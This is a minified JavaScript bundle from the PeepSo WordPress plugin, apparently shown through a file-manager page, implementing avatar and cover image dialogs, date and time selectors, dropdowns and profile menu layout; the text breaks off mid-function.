Sindbad~EG File Manager
!function o(s,n,a){function r(e,t){if(!n[e]){if(!s[e]){var i="function"==typeof require&&require;if(!t&&i)return i(e,!0);if(d)return d(e,!0);throw(t=new Error("Cannot find module '"+e+"'")).code="MODULE_NOT_FOUND",t}i=n[e]={exports:{}},s[e][0].call(i.exports,function(t){return r(s[e][1][t]||t)},i,i.exports,o,s,n,a)}return n[e].exports}for(var d="function"==typeof require&&require,t=0;t<a.length;t++)r(a[t]);return r}({1:[function(t,e,i){function o(t){t.style.height="",t.style.height=+t.scrollHeight+"px"}var s;s=jQuery,_,s.fn.ps_autosize=function(){return this.each(function(){o(this),s(this).off("input.ps-autosize").on("input.ps-autosize",function(){o(this)})})}},{}],2:[function(t,e,i){!function(n){!function(){var t,i=(t="undefined"!=typeof window?window.jQuery:void 0!==n?n.jQuery:null)&&t.__esModule?t:{default:t},o="undefined"!=typeof window?window.peepso:void 0!==n?n.peepso:null,s="undefined"!=typeof window?window.peepsodata:void 0!==n?n.peepsodata:null;o.observer.addFilter("class_avatar_dialog",()=>e);class e{constructor(t={}){this.opts=t}init(){var t,e;this.$el||(t=(0,o.template)(s.avatar.templateDialog2||"")(this.opts.data),this.$el=(0,i.default)(t).hide(),this.$file=this.$el.find("input[type=file]"),this.$hasAvatar=this.$el.find(".ps-js-has-avatar"),this.$noAvatar=this.$el.find(".ps-js-no-avatar"),this.$preview=this.$el.find(".ps-js-preview"),this.$avatar=this.$el.find(".ps-js-avatar"),this.$loading=this.$el.find(".ps-js-loading"),this.$error=this.$el.find(".ps-js-error"),this.$btnRemove=this.$el.find(".ps-js-btn-remove"),this.$btnCrop=this.$el.find(".ps-js-btn-crop"),this.$btnCropCancel=this.$el.find(".ps-js-btn-crop-cancel"),this.$btnCropConfirm=this.$el.find(".ps-js-btn-crop-save"),this.$btnFinalize=this.$el.find(".ps-js-btn-finalize").attr("disabled","disabled"),this.$el.on("click",".ps-js-btn-upload",t=>this._onUpload(t)),this.$el.on("click",".ps-js-btn-remove",t=>this._onRemove(t)),this.$el.on("click",".ps-js-btn-crop",t=>this._onCrop(t)),this.$el.on("click",".ps-js-btn-crop-cancel",t=>this._onCropCancel(t)),this.$el.on("click",".ps-js-btn-crop-save",t=>this._onCropConfirm(t)),this.$el.on("click",".ps-js-btn-finalize",t=>this._onFinalize(t)),this.$el.on("click",".ps-js-btn-close",t=>this._onClose(t)),this.$el.appendTo(document.body),t=this.opts.data.avatar,e=this.opts.data.avatarSource,t&&e?this._updateAvatar(t,e):this._updateAvatar(!1),this._toggleError(!1),this._toggleLoading(!1),this._toggleFinalize(!1),t=this.opts.uploadUrl,e=i.default.extend({_wpnonce:s.avatar._wpnonce},this.opts.uploadParams),this.$file.psFileupload&&this.$file.psFileupload({url:t,formData:e,replaceFileInput:!1,dropZone:null,dataType:"json",add:(t,e)=>{var i=e.files[0];this._toggleFinalize(!1),/(\.|\/)(jpe?g|png|webp)$/i.test(i.type)?parseInt(i.size)>s.upload.maxSize?this._toggleError(s.upload.textErrorMaxSize):(this._toggleLoading(!0),this._toggleError(!1),e.submit()):this._toggleError(s.avatar.textErrorFileType)},done:(t,e)=>{this._toggleLoading(!1);var i,o,e=e.result;e.success?(i=e.data&&e.data.image_url,o=e.data&&e.data.orig_image_url,this._updateAvatar(i,o),this._toggleFinalize(!0)):e.errors&&this._toggleError(e.errors)}}))}show(){this.init(),this.$el.show()}hide(){this.$el&&(this._toggleError(!1),this.$el.hide())}_updateAvatar(t,e){var i="?_t="+(new Date).getTime();(t?(e&&this.$preview.find("img").attr("src",e+i),this.$avatar.find("img").attr("src",t+i),this.$btnRemove.show(),this.$noAvatar.hide(),this.$hasAvatar):(this.$preview.find("img").removeAttr("src"),this.$avatar.find("img").attr("src",this.opts.data.avatarDefault+i),this.$btnRemove.hide(),this.$hasAvatar.hide(),this.$noAvatar)).show()}_getCropCoord(){var t=this._cropCoords;if(!t)return!1;let e=this.$preview.find("img"),i=1,o=!1,s,n,a;return e[0].naturalWidth&&(s=e[0].naturalWidth||e.width(),n=e[0].naturalHeight||e.height(),(800<s||800<n)&&(i=800/Math.max(s,n),s*=i,n*=i,o=!0),i=s/e.width()),a={x1:Math.floor(i*t.x),y1:Math.floor(i*t.y),x2:Math.floor(i*(t.x+t.width)),y2:Math.floor(i*(t.y+t.height))},o&&(a.width=s,a.height=n),a}_toggleError(t){(t=t instanceof Array?t.join("<br>"):t)?(this.$error.html(t),this.$error.show()):(this.$error.hide(),this.$error.html(""))}_toggleLoading(t){t?this.$loading.stop().show():this.$loading.stop().fadeOut()}_toggleFinalize(t){t?this.$btnFinalize.removeAttr("disabled"):this.$btnFinalize.attr("disabled","disabled")}_onUpload(t){t.preventDefault(),t.stopPropagation(),this.$file.click()}_onCrop(t){t.preventDefault(),t.stopPropagation();t=this.$preview.find("img");ps_crop.init({elem:t,change:t=>{this._cropCoords=t}}),this.$btnCrop.hide(),this.$btnCropCancel.show(),this.$btnCropConfirm.show(),this._toggleFinalize(!1)}_onCropCancel(t){t.preventDefault(),t.stopPropagation();t=this.$preview.find("img");ps_crop.detach(t),this.$btnCrop.show(),this.$btnCropCancel.hide(),this.$btnCropConfirm.hide()}_onCropConfirm(t){t.preventDefault(),t.stopPropagation();var t=this.$preview.find("img"),t=(ps_crop.detach(t),this.$btnCrop.show(),this.$btnCropCancel.hide(),this.$btnCropConfirm.hide(),this._getCropCoord()),t={x:t.x1,y:t.y1,x2:t.x2,y2:t.y2,width:t.width,height:t.height,tmp:1},e=this.opts.cropUrl,t=i.default.extend({_wpnonce:s.avatar._wpnonce},t,this.opts.cropParams);this._toggleLoading(!0),peepso.postJson(e,t,t=>{this._toggleLoading(!1),t.success&&(t=t.data.image_url,this._updateAvatar(t),this._toggleFinalize(!0))})}_onRemove(t){t.preventDefault(),t.stopPropagation();var t=this.opts.deleteUrl,e=i.default.extend({_wpnonce:s.avatar._wpnonce},this.opts.deleteParams);this._toggleLoading(!0),peepso.postJson(t,e,t=>{this._toggleLoading(!1),t.success&&window.loading.reload()})}_onFinalize(t){t.preventDefault(),t.stopPropagation();var t=this.opts.confirmUrl,e=i.default.extend({_wpnonce:s.avatar._wpnonce},this.opts.confirmParams);this._toggleLoading(!0),peepso.postJson(t,e,t=>{this._toggleLoading(!1),t.success&&window.location.reload()})}_onClose(t){t.preventDefault(),t.stopPropagation(),this.hide()}}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],3:[function(t,e,i){!function(s){!function(){var t,i=(t="undefined"!=typeof window?window.jQuery:void 0!==s?s.jQuery:null)&&t.__esModule?t:{default:t},o="undefined"!=typeof window?window.peepso:void 0!==s?s.peepso:null;o.observer.addFilter("class_avatar",()=>e);class e{constructor(t,e={}){this.opts=e,this.dialog=null,this.$el=(0,i.default)(t),this.$button=this.$el.find(".ps-js-focus-avatar-button"),this.$button.on("click",t=>this._onModify(t))}getDialog(){var t,e;return null===this.dialog&&(!1===(t=o.observer.applyFilters("class_avatar_dialog",!1))?this.dialog=!1:(e=i.default.extend({},this.opts,{onChange:t=>this.updateAvatar(t)}),this.dialog=new t(e))),this.dialog}showDialog(){var t=this.getDialog();t&&t.show()}updateAvatar(t){}_onModify(t){t.preventDefault(),this.showDialog()}}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],4:[function(t,e,i){t("./avatar"),t("./avatar-dialog")},{"./avatar":3,"./avatar-dialog":2}],5:[function(t,e,i){!function(n){!function(){var t,i=(t="undefined"!=typeof window?window.jQuery:void 0!==n?n.jQuery:null)&&t.__esModule?t:{default:t},o="undefined"!=typeof window?window.peepso:void 0!==n?n.peepso:null,s="undefined"!=typeof window?window.peepsodata:void 0!==n?n.peepsodata:null;o.observer.addFilter("class_cover_dialog",()=>e);class e{constructor(t={}){this.opts=t}init(){var t,e;this.$el||(t=(0,o.template)(s.cover.templateDialog||"")(),this.$el=(0,i.default)(t).hide(),this.$file=this.$el.find("input[type=file]"),this.$content=this.$el.find(".ps-js-content"),this.$loading=this.$el.find(".ps-js-loading"),this.$error=this.$el.find(".ps-js-error"),this.$el.on("click",".ps-js-btn-upload",t=>this._onUpload(t)),this.$el.on("click",".ps-js-btn-remove",t=>this._onRemove(t)),this.$el.on("click",".ps-js-btn-close",t=>this._onClose(t)),this.$el.appendTo(document.body),this._toggleRemove(this.opts.data&&this.opts.data.cover),this._toggleError(!1),this._toggleLoading(!1),t=this.opts.uploadUrl,e=i.default.extend({_wpnonce:s.cover._wpnonce},this.opts.uploadParams),this.$file.psFileupload&&this.$file.psFileupload({url:t,formData:e,replaceFileInput:!1,dropZone:null,dataType:"json",add:(t,e)=>{var i=e.files[0];/(\.|\/)(jpe?g|png|webp)$/i.test(i.type)?parseInt(i.size)>s.upload.maxSize?this._toggleError(s.upload.textErrorMaxSize):(this._toggleLoading(!0),this._toggleError(!1),e.submit()):this._toggleError(s.cover.textErrorFileType)},done:(t,e)=>{this._toggleLoading(!1);var e=e.result;e.success&&(this._toggleRemove(!0),this.hide(),"function"==typeof this.opts.onChange)&&(e=e.data&&e.data.image_url)&&this.opts.onChange(e)}}))}show(){this.init(),this.$el.show()}hide(){this.$el&&this.$el.hide()}_toggleError(t){t?(this.$error.html(t),this.$error.show()):(this.$error.hide(),this.$error.html(""))}_toggleLoading(t){(t?(this.$content.hide(),this.$loading):(this.$loading.hide(),this.$content)).show()}_toggleRemove(t){t?(this.$content.addClass("ps-list-half"),this.$content.find(".ps-js-li-remove").show()):(this.$content.removeClass("ps-list-half"),this.$content.find(".ps-js-li-remove").hide())}_onUpload(t){t.preventDefault(),t.stopPropagation(),this.$file.click()}_onRemove(t){t.preventDefault(),t.stopPropagation();var t=this.opts.deleteUrl,e=i.default.extend({_wpnonce:s.cover._wpnonce},this.opts.deleteParams);this._toggleLoading(!0),peepso.postJson(t,e,t=>{this._toggleLoading(!1),t.success&&(this._toggleRemove(!1),this.hide(),"function"==typeof this.opts.onChange)&&this.opts.onChange(!1)})}_onClose(t){t.preventDefault(),t.stopPropagation(),this.hide()}}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],6:[function(t,e,i){!function(n){!function(){var t,i=(t="undefined"!=typeof window?window.jQuery:void 0!==n?n.jQuery:null)&&t.__esModule?t:{default:t},o="undefined"!=typeof window?window.peepso:void 0!==n?n.peepso:null,s="undefined"!=typeof window?window.peepsodata:void 0!==n?n.peepsodata:null;o.observer.addFilter("class_cover",()=>e);class e{constructor(t,e={}){this.opts=e,this.dialog=null,this.$el=(0,i.default)(t),this.$image=this.$el.find(".ps-js-cover-image"),this.$btnModify=this.$el.find(".ps-js-cover-modify"),this.$btnReposition=this.$el.find(".ps-js-cover-reposition"),this.$btnRepositionCancel=this.$el.find(".ps-js-cover-reposition-cancel"),this.$btnRepositionSave=this.$el.find(".ps-js-cover-reposition-save"),this.$btnModify.on("click",t=>this._onModify(t)),this.$btnReposition.on("click",t=>this._onReposition(t)),this.$btnRepositionCancel.on("click",t=>this._onRepositionCancel(t)),this.$btnRepositionSave.on("click",t=>this._onRepositionSave(t)),this.imageStyle=this.$image.attr("style"),this.imagePositionX=this.$image.css("left"),this.imagePositionY=this.$image.css("top")}getDialog(){var t,e;return null===this.dialog&&(!1===(t=o.observer.applyFilters("class_cover_dialog",!1))?this.dialog=!1:(e=i.default.extend({},this.opts,{onChange:t=>this.updateCover(t)}),this.dialog=new t(e))),this.dialog}showDialog(){var t=this.getDialog();t&&t.show()}updateCover(t){t?(this.$image.css({top:0,left:0}),this.$image.attr("src",t),this._toggleReposition(!0)):window.location.reload()}_toggleReposition(t){t?this.$btnReposition.show():this.$btnReposition.hide()}_toggleRepositioning(t){t?(this.$el.find(".js-focus-gradient").hide(),this.$el.find(".js-focus-change-cover > a").hide(),this.$el.find(".reposition-cover-actions").show(),this.$el.addClass("ps-focus-cover-edit")):(this.$el.find(".js-focus-gradient").show(),this.$el.find(".js-focus-change-cover > a").show(),this.$el.find(".reposition-cover-actions").hide(),this.$el.removeClass("ps-focus-cover-edit"))}_onModify(t){t.preventDefault(),this.showDialog()}_onReposition(t){t.preventDefault(),this._toggleRepositioning(!0);let i=this.$el.height()-this.$image.height(),o=this.$el.width()-this.$image.width();this.$image.draggable({cursor:"move",drag:function(t,e){e.position.left=Math.max(o,Math.min(0,e.position.left)),e.position.top=Math.max(i,Math.min(0,e.position.top))},stop:(t,e)=>{var i=100*e.position.left/this.$el.width(),e=100*e.position.top/this.$el.height(),i=Math.round(1e4*i)/1e4,e=Math.round(1e4*e)/1e4;this.imagePositionX=i,this.imagePositionY=e,this.$image.css({left:i+"%",top:e+"%"})}})}_onRepositionCancel(t){t.preventDefault(),t.stopPropagation(),this._toggleRepositioning(!1),this.$image.attr("style",this.imageStyle),this.$image.draggable("destroy")}_onRepositionSave(t){t.preventDefault(),t.stopPropagation();var t=this.opts.repositionUrl,e={_wpnonce:s.cover._wpnonce,x:this.imagePositionY,y:this.imagePositionX};this._toggleRepositioning(!1),this.$el.find(".ps-reposition-loading").show(),e=i.default.extend(e,this.opts.repositionParams),peepso.postJson(t,e,t=>{this.$el.find(".ps-reposition-loading").hide(),this.imageStyle=this.$image.attr("style"),this.$image.draggable("destroy")})}}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],7:[function(t,e,i){t("./cover"),t("./cover-dialog")},{"./cover":6,"./cover-dialog":5}],8:[function(t,e,i){!function(e){!function(){Object.defineProperty(i,"__esModule",{value:!0}),i.default=void 0;var t,a=(t="undefined"!=typeof window?window.jQuery:void 0!==e?e.jQuery:null)&&t.__esModule?t:{default:t};function r(t,e,i){(e=(t=>"symbol"==typeof(t=((t,e)=>{if("object"!=typeof t||!t)return t;var i=t[Symbol.toPrimitive];if(void 0===i)return("string"===e?String:Number)(t);if("object"!=typeof(i=i.call(t,e||"default")))return i;throw new TypeError("@@toPrimitive must return a primitive value.")})(t,"string"))?t:t+"")(e))in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i}let d=["January","February","March","April","May","June","July","August","September","October","November","December"];let u=(t,e)=>new Date(t,e,0).getDate(),o=t=>{t=t.split("-");return new Date(+t[0],+t[1]-1,+t[2])},s=t=>{var e=t.getFullYear(),i=t.getMonth()+1,t=t.getDate();return[e,(i<10?"0":"")+i,(t<10?"0":"")+t].join("-")};i.default=class{constructor(t,e,i,o={}){r(this,"$year",void 0),r(this,"$month",void 0),r(this,"$date",void 0),r(this,"opts",void 0);var s=new Date,n=s.getFullYear(),s={monthNames:d,defaultDate:new Date(s.getTime()),minDate:new Date(n-80,0,1,1,0,0),maxDate:new Date(n+80,11,31,1,0,0),onSelect:()=>{}};this.opts=a.default.extend(s,o),this.$year=(0,a.default)(t).on("change",t=>this.onChangeYear(t)),this.$month=(0,a.default)(e).on("change",t=>this.onChangeMonth(t)),this.$date=(0,a.default)(i).on("change",()=>this.onChangeDate()),this.populateYear(),this.populateMonth(+this.$year.val()),this.populateDate(+this.$year.val(),+this.$month.val())}getDate(t=!1){var e=+this.$date.val(),i=+this.$month.val(),o=+this.$year.val();return t?`${e} ${d[i-1]} `+o:s(new Date(o,i-1,e))}setDate(t){var e=(t="string"==typeof t?o(t):t).getDate(),i=t.getMonth()+1,t=t.getFullYear();this.populateYear(t),this.populateMonth(t,i),this.populateDate(t,i,e)}populateYear(t){let{minDate:e,maxDate:i,defaultDate:o}=this.opts,s=e.getFullYear(),n=i.getFullYear(),a="";for(t=t||o.getFullYear();s<=n;s++)a+=`<option value="${s}"${s===t?' selected="selected"':""}>${s}</option>`;this.$year.html(a)}populateMonth(t,e){let{minDate:i,maxDate:o,defaultDate:s,monthNames:n}=this.opts,a=i.getFullYear(),r=o.getFullYear(),d=a<t?1:i.getMonth()+1,h=t<r?12:o.getMonth()+1,l="";for(e=e||+this.$month.val()||s.getMonth()+1;d<=h;d++)l+=`<option value="${d}"${d===e?' selected="selected"':""}>${n[d-1]}</option>`;this.$month.html(l)}populateDate(t,e,i){let{minDate:o,maxDate:s,defaultDate:n}=this.opts,a=o.getFullYear(),r=s.getFullYear(),d=o.getMonth()+1,h=s.getMonth()+1,l=a<t||d<e?1:o.getDate(),p=t<r||e<h?u(t,e):s.getDate(),c="";for(i=i||((i=+this.$date.val())?Math.min(i,p):n.getDate());l<=p;l++)c+=`<option value="${l}"${l===i?' selected="selected"':""}>${l}</option>`;this.$date.html(c)}onChangeYear(t){t=+t.target.value;this.populateMonth(t),this.$month.triggerHandler("change")}onChangeMonth(t){var e=+this.$year.val(),t=+t.target.value;this.populateDate(e,t),this.$date.triggerHandler("change")}onChangeDate(){this.opts.onSelect(this.getDate())}}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],9:[function(t,e,i){Object.defineProperty(i,"__esModule",{value:!0}),Object.defineProperty(i,"DateSelector",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(i,"TimeSelector",{enumerable:!0,get:function(){return s.default}});var o=n(t("./date-selector")),s=n(t("./time-selector"));function n(t){return t&&t.__esModule?t:{default:t}}},{"./date-selector":8,"./time-selector":10}],10:[function(t,e,i){!function(e){!function(){Object.defineProperty(i,"__esModule",{value:!0}),i.default=void 0;var t,s=(t="undefined"!=typeof window?window.jQuery:void 0!==e?e.jQuery:null)&&t.__esModule?t:{default:t};function n(t,e,i){(e=(t=>"symbol"==typeof(t=((t,e)=>{if("object"!=typeof t||!t)return t;var i=t[Symbol.toPrimitive];if(void 0===i)return("string"===e?String:Number)(t);if("object"!=typeof(i=i.call(t,e||"default")))return i;throw new TypeError("@@toPrimitive must return a primitive value.")})(t,"string"))?t:t+"")(e))in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i}let o=(t,e)=>t="PM"!==e.toUpperCase()?12===t?0:t:12===t?12:t+12,a=t=>{let e;return{hour:t=t<12?(e="AM",0===t?12:t):(e="PM",12===t?12:t-12),ampm:e}};i.default=class{constructor(t,e,i,o){n(this,"$hour",void 0),n(this,"$minute",void 0),n(this,"$ampm",void 0),n(this,"opts",void 0),n(this,"isAmpm",void 0);this.isAmpm=!(!i||!i.nodeType),this.opts=s.default.extend({am:"AM",pm:"PM",step:15,onSelect:()=>{}},(this.isAmpm?o:i)||{}),this.$hour=(0,s.default)(t).on("change",()=>this.onChangeHour()),this.$minute=(0,s.default)(e).on("change",()=>this.onChangeMinute()),this.isAmpm&&(this.$ampm=(0,s.default)(i).on("change",()=>this.onChangeAmpm())),this.populateHour(),this.populateMinute(),this.populateAmpm()}getTime(t=!1){let e=+this.$hour.val(),i=+this.$minute.val();return t?(e<10?"0":"")+e+":"+(i<10?"0":"")+i+(this.isAmpm?" "+this.$ampm.val().toUpperCase():""):((e=this.isAmpm?o(e,this.$ampm.val()):e)<10?"0":"")+e+":"+(i<10?"0":"")+i}setTime(t){let[e,i]=t.split(":");e=+e,this.isAmpm?(e=a(e),this.$ampm.val(e.ampm),this.$hour.val(e.hour)):this.$hour.val(e),i=Math.min(59,Math.max(0,+i)),i-=i%this.opts.step,this.$minute.val(i)}populateHour(t){let e=this.isAmpm?1:0,i=this.isAmpm?12:23,o="";for(;e<=i;e++)o+=`<option value="${e}"${e===t?' selected="selected"':""}>${e<10?"0":""}${e}</option>`;this.$hour.html(o)}populateMinute(t){let e=0,i="";for(;e<=59;e+=this.opts.step)i+=`<option value="${e}"${e===t?' selected="selected"':""}>${e<10?"0":""}${e}</option>`;this.$minute.html(i)}populateAmpm(o){if(this.isAmpm){let e=[{value:"AM",label:this.opts.am},{value:"PM",label:this.opts.pm}],i="";for(let t=0;t<e.length;t++)i+=`<option value="${e[t].value}"${e[t].value===o?' selected="selected"':""}>${e[t].label||e[t].value}</option>`;this.$ampm.html(i)}}onChangeHour(){this.opts.onSelect(this.getTime())}onChangeMinute(){this.opts.onSelect(this.getTime())}onChangeAmpm(){this.opts.onSelect(this.getTime())}}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],11:[function(t,e,i){function o(t){var e=n(t.currentTarget).closest(".ps-js-dropdown"),i=e.find(".ps-js-dropdown-menu"),o=n(document),s=e.data("ps-guid");t.preventDefault(),s||(s=_.uniqueId("ps-dropdown-"),e.data("ps-guid",s)),i.is(":visible")?(t.stopPropagation(),o.off("click."+s),i.hide()):(i.show(),o.one("click."+s,function(){i.hide()}))}function s(t){var e="[class*=gci-]",i=".ps-js-dropdown-label",t=n(t.currentTarget),o=t.closest(".ps-js-dropdown"),s=o.find(".ps-js-dropdown-toggle");o.hasClass("ps-js-dropdown--privacy")&&((o=o.children("[type=hidden]")).val(t.data("option-value")),o.triggerHandler("change"),s.find(e).attr("class",t.find(e).attr("class")),s.find(i).html(t.find(i).html()))}var n;(n=jQuery)(function(){n(document).on("click.ps-dropdown",".ps-js-dropdown-menu a",s).on("click.ps-dropdown",".ps-js-dropdown-toggle",o)})},{}],12:[function(t,e,o){!function(i){!function(){Object.defineProperty(o,"__esModule",{value:!0}),o.default=void 0;var r=t("undefined"!=typeof window?window.jQuery:void 0!==i?i.jQuery:null),d=t("undefined"!=typeof window?window._:void 0!==i?i._:null);function t(t){return t&&t.__esModule?t:{default:t}}function e(t,e,i){(e=(t=>"symbol"==typeof(t=((t,e)=>{if("object"!=typeof t||!t)return t;var i=t[Symbol.toPrimitive];if(void 0===i)return("string"===e?String:Number)(t);if("object"!=typeof(i=i.call(t,e||"default")))return i;throw new TypeError("@@toPrimitive must return a primitive value.")})(t,"string"))?t:t+"")(e))in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i}let h="ps-focus-area-footer";o.default=class{constructor(t){e(this,"$footer",void 0),e(this,"$interactions",void 0),e(this,"$menu",void 0),e(this,"$menuInner",void 0),e(this,"$menuItems",void 0),e(this,"$menuMore",void 0),e(this,"$menuDropdown",void 0),e(this,"toggleAid",d.default.throttle(()=>{let t=!1,e=!1;var i,o,s;this.isNarrow()&&(i=this.$menuInner.scrollLeft(),o=this.$menuInner[0].scrollWidth,s=this.$menuInner[0].clientWidth,t=0<i,e=i+s<o),t?this.$menuAidLeft.show():this.$menuAidLeft.hide(),e?this.$menuAidRight.show():this.$menuAidRight.hide()},250)),this.$footer=(0,r.default)(t),this.$interactions=this.$footer.find(".ps-js-focus-interactions"),this.$menu=this.$footer.find(".ps-js-focus__menu"),this.$menuInner=this.$menu.find(".ps-js-focus__menu-inner"),this.$menuItems=this.$menu.find(".ps-js-item"),this.$menuMore=this.$menu.find(".ps-js-item-more"),this.$menuDropdown=this.$menu.find(".ps-js-focus-link-dropdown"),this.$menuAidLeft=this.$menu.find(".ps-js-aid-left"),this.$menuAidRight=this.$menu.find(".ps-js-aid-right"),this.centerActiveMenu(),d.default.defer(()=>this.rearrange()),(0,r.default)(window).on("resize."+h,d.default.debounce(()=>this.rearrange(),1e3))}isNarrow(){return window.innerWidth<=740}hasTouch(){return"ontouchstart"in window||0<navigator.msMaxTouchPoints}centerActiveMenu(){var t,e,i,o;this.isNarrow()&&(o=this.$menuItems.filter(".ps-js-item-active")).length&&(e=(t=this.$menuInner).width(),i=o.position().left,o=o.width(),t.scrollLeft(i-(e-o)/2))}reset(){this.$menuDropdown.hide().empty(),this.$menuMore.detach().off("click"),this.$menuItems.css("display",""),this.detachScroller(),this.$menuInner.off("scroll").on("scroll",()=>this.toggleAid()),this.toggleAid()}rearrange(){if(this.reset(),this.isNarrow())this.hasTouch()||this.attachScroller();else{let t=this.$menu.width(),e=0,i,o;for(;++e<=20&&(i=this.$menuItems.filter(":visible").last(),o=1===e?i:this.$menuMore,!(peepso.rtl&&0<=o.position().left))&&(peepso.rtl||!(Math.floor(o.position().left+o.outerWidth())<=t));)1===e&&(this.$menuMore.insertBefore(this.$menuDropdown.parent()),this.$menuMore.show(),this.$menuMore.on("click",t=>{t.preventDefault(),t.stopPropagation(),this.toggleDropdown()})),i=i.hide().clone(),this.$menuDropdown.prepend(i.css("display",""))}}toggleDropdown(){var t=(0,r.default)(document),e="click."+h;this.$menuDropdown.is(":visible")?(this.$menuDropdown.hide(),t.off(e)):(this.$menuDropdown.show(),t.one(e,()=>this.$menuDropdown.hide()))}attachScroller(){let i=!1,o=!1,s,n,a;this.$menuInner.on("mousedown mouseup mousemove mouseleave",function(e){if(e.preventDefault(),e.stopPropagation(),"mousedown"===e.type)i=!0,o=!1,s=[e.clientX,e.clientY];else if("mousemove"==e.type&&i){var t=(0,r.default)(this);n=[e.clientX,e.clientY],a=[n[0]-s[0],n[1]-s[1]],t.scrollLeft(t.scrollLeft()-a[0]),t.scrollTop(t.scrollTop()-a[1]),s=[e.clientX,e.clientY],o=!0}else if(("mouseup"===e.type||"mouseleave"===e.type)&&(i=!1,o)){let t=(0,r.default)(e.target).closest("a");t.length&&(t.on("click."+h,t=>t.preventDefault()),d.default.defer(()=>t.off("click."+h)))}})}detachScroller(){this.$menuInner.off("mousedown mouseup mousemove mouseleave")}}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],13:[function(a,t,r){!function(n){!function(){Object.defineProperty(r,"__esModule",{value:!0}),r.default=void 0;var e=t("undefined"!=typeof window?window.jQuery:void 0!==n?n.jQuery:null),i="undefined"!=typeof window?window.peepso:void 0!==n?n.peepso:null,o=t(a("./focus-area-footer"));function t(t){return t&&t.__esModule?t:{default:t}}function s(t,e,i){(e=(t=>"symbol"==typeof(t=((t,e)=>{if("object"!=typeof t||!t)return t;var i=t[Symbol.toPrimitive];if(void 0===i)return("string"===e?String:Number)(t);if("object"!=typeof(i=i.call(t,e||"default")))return i;throw new TypeError("@@toPrimitive must return a primitive value.")})(t,"string"))?t:t+"")(e))in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i}r.default=class{constructor(t){s(this,"$container",void 0),s(this,"$avatar",void 0),s(this,"$footer",void 0),s(this,"footer",void 0),this.$container=(0,e.default)(t),this.$avatar=this.$container.find(".ps-js-focus-avatar-button"),this.$footer=this.$container.find(".ps-focus__footer"),this.$avatar.length&&this.$avatar.on("click",t=>this.onClickAvatar(t)),this.$footer.length&&(this.footer=new o.default(this.$footer[0])),i.observer.addAction("avatar_updated",t=>this.onAvatarUpdated(t),10,1)}onClickAvatar(t){t.preventDefault(),t.stopPropagation(),i.observer.doAction("avatar_update_dialog")}onAvatarUpdated(t){}}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"./focus-area-footer":12}],14:[function(t,e,i){var o=(t=t("./focus-area"))&&t.__esModule?t:{default:t};document.addEventListener("DOMContentLoaded",function(){var t=document.querySelector(".ps-js-focus");t&&new o.default(t)})},{"./focus-area":13}],15:[function(t,e,i){!function(e){!function(){var t,i=(t="undefined"!=typeof window?window.jQuery:void 0!==e?e.jQuery:null)&&t.__esModule?t:{default:t},o="undefined"!=typeof window?window.peepso:void 0!==e?e.peepso:null,s="undefined"!=typeof window?window.peepsodata:void 0!==e?e.peepsodata:null;+s.show_powered_by&&o.observer.addAction("show_branding",()=>{var t,e=(0,i.default)("#peepso-wrap");(e=o.observer.applyFilters("get_footer_container",e)).length&&(t=(0,i.default)(s.powered_by),e.children("."+t.attr("class")).length||t.appendTo(e))})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],16:[function(t,e,u){!function(o){!function(){Object.defineProperty(u,"__esModule",{value:!0}),u.default=void 0;var s=e("undefined"!=typeof window?window.jQuery:void 0!==o?o.jQuery:null),n=(e("undefined"!=typeof window?window._:void 0!==o?o._:null),t("undefined"!=typeof window?window.peepso:void 0!==o?o.peepso:null)),a="undefined"!=typeof window?window.peepsodata:void 0!==o?o.peepsodata:null;function t(t,e){var n,a;return"function"==typeof WeakMap&&(n=new WeakMap,a=new WeakMap),function(e,t){if(!t&&e&&e.__esModule)return e;var i,o,s={__proto__:null,default:e};if(null!==e&&("object"==typeof e||"function"==typeof e)){if(i=t?a:n){if(i.has(e))return i.get(e);i.set(e,s)}for(let t in e)"default"!==t&&{}.hasOwnProperty.call(e,t)&&((o=(i=Object.defineProperty)&&Object.getOwnPropertyDescriptor(e,t))&&(o.get||o.set)?i(s,t,o):s[t]=e[t])}return s}(t,e)}function e(t){return t&&t.__esModule?t:{default:t}}function i(t,e,i){(e=(t=>"symbol"==typeof(t=((t,e)=>{if("object"!=typeof t||!t)return t;var i=t[Symbol.toPrimitive];if(void 0===i)return("string"===e?String:Number)(t);if("object"!=typeof(i=i.call(t,e||"default")))return i;throw new TypeError("@@toPrimitive must return a primitive value.")})(t,"string"))?t:t+"")(e))in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i}let r,d,h;function l(t,e){var i,o;clearTimeout(h),r=r||((d=(0,s.default)("<div />").append(a.hovercard.template)).css({position:"absolute"}),(r=(0,s.default)("<div />").css({display:"none",height:1,overflow:"visible",position:"absolute",width:1,zIndex:100001})).on("mouseenter 